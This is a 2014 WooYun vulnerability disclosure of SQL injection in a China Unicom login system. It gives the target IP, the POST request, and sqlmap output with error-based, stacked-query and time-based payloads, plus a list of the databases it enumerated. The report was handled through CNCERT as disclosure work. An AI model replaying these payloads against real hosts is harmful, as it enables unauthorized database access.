当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-073348

漏洞标题:中国联通某处统一平台sql注入

相关厂商:中国联通

漏洞作者: scanf

提交时间:2014-08-21 18:20

修复时间:2014-10-05 18:24

公开时间:2014-10-05 18:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-21: 细节已通知厂商并且等待厂商处理中
2014-08-26: 厂商已经确认,细节仅向厂商公开
2014-09-05: 细节向核心白帽子及相关领域专家公开
2014-09-15: 细节向普通白帽子公开
2014-09-25: 细节向实习白帽子公开
2014-10-05: 细节向公众公开

简要描述:

中国联通处统一平台包含真多的登录啊

详细说明:

http://221.10.252.24:8081/default.asp
http://221.10.252.24:8081/
注入点http://221.10.252.24:8081/mps/

QQ截图20140821173617.png


然后
POST

POST /mps/login/relogin.asp?flag=check HTTP/1.1
Host: 221.10.252.24:8081
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://221.10.252.24:8081/mps/login/relogin.asp?flag=%CE%B4%B5%C7%C2%BD
Cookie: ASPSESSIONIDACACBTCS=JMKDEKHDKACKFJDCFLLGJJBH
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
UserId=xxx&password=xxx&Submit=%C8%B7++%B6%A8&SendFlag=Check


漏洞证明:

[wooyun@scanf~]# Sqlmap -r post.txt --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:37:21
[17:37:21] [INFO] parsing HTTP request from 'post.txt'
[17:37:21] [WARNING] it appears that you have provided tainted parameter values
('UserId='''') with most probably leftover chars/statements from manual SQL inje
ction test(s). Please, always use only valid parameter values so sqlmap could be
able to run properly
are you sure you want to continue? [y/N] y
[17:37:23] [WARNING] it appears that you have provided tainted parameter values
('password='''') with most probably leftover chars/statements from manual SQL in
jection test(s). Please, always use only valid parameter values so sqlmap could
be able to run properly
are you sure you want to continue? [y/N] y
[17:37:24] [INFO] resuming back-end DBMS 'microsoft sql server'
[17:37:24] [INFO] testing connection to the target URL
[17:37:24] [INFO] heuristics detected web page charset 'GB2312'
[17:37:24] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: UserId
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: UserId=''' AND 8049=CONVERT(INT,(SELECT CHAR(113) CHAR(115) CHAR(99
) CHAR(108) CHAR(113) (SELECT (CASE WHEN (8049=8049) THEN CHAR(49) ELSE CHAR(48)
END)) CHAR(113) CHAR(120) CHAR(117) CHAR(105) CHAR(113)))-- emDE&password='''&S
ubmit=%C8%B7 %B6%A8&SendFlag=Check
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: UserId='''; WAITFOR DELAY '0:0:5'--&password='''&Submit=%C8%B7 %B6
%A8&SendFlag=Check
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: UserId=''' WAITFOR DELAY '0:0:5'--&password='''&Submit=%C8%B7 %B6%
A8&SendFlag=Check
---
[17:37:24] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2000
[17:37:24] [INFO] fetching database names
[17:37:24] [INFO] the SQL query used returns 18 entries
[17:37:25] [INFO] resumed: cd2uces
[17:37:25] [INFO] resumed: cduces
[17:37:25] [INFO] resumed: CertificationCenter
[17:37:25] [INFO] resumed: Interface
[17:37:25] [INFO] resumed: master
[17:37:25] [INFO] resumed: mes
[17:37:25] [INFO] resumed: model
[17:37:25] [INFO] resumed: msdb
[17:37:25] [INFO] resumed: Northwind
[17:37:25] [INFO] resumed: pubs
[17:37:25] [INFO] resumed: RavNetDB
[17:37:25] [INFO] resumed: sms
[17:37:25] [INFO] resumed: sxzx-net
[17:37:25] [INFO] resumed: tempdb
[17:37:25] [INFO] resumed: uces
[17:37:25] [INFO] resumed: uces_bk
[17:37:25] [INFO] resumed: Ucms
available databases [17]:
[*] cd2uces
[*] cduces
[*] CertificationCenter
[*] Interface
[*] master
[*] mes
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] RavNetDB
[*] sms
[*] sxzx-net
[*] tempdb
[*] uces
[*] uces_bk
[*] Ucms
[17:37:25] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[17:37:25] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\221.10.252.24'
[*] shutting down at 17:37:25
[wooyun@scanf~]# Sqlmap


QQ截图20140821173824.png


20位的加密伤不起

QQ截图20140821173910.png


而且还是内网

修复方案:

过滤,这个貌似是新上的系统
应该多做测试

版权声明:转载请注明来源 scanf@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-08-26 10:20

厂商回复:

CNVD未实时复现,网站已经打不开,暂未列入处置流程。

最新状态:

暂无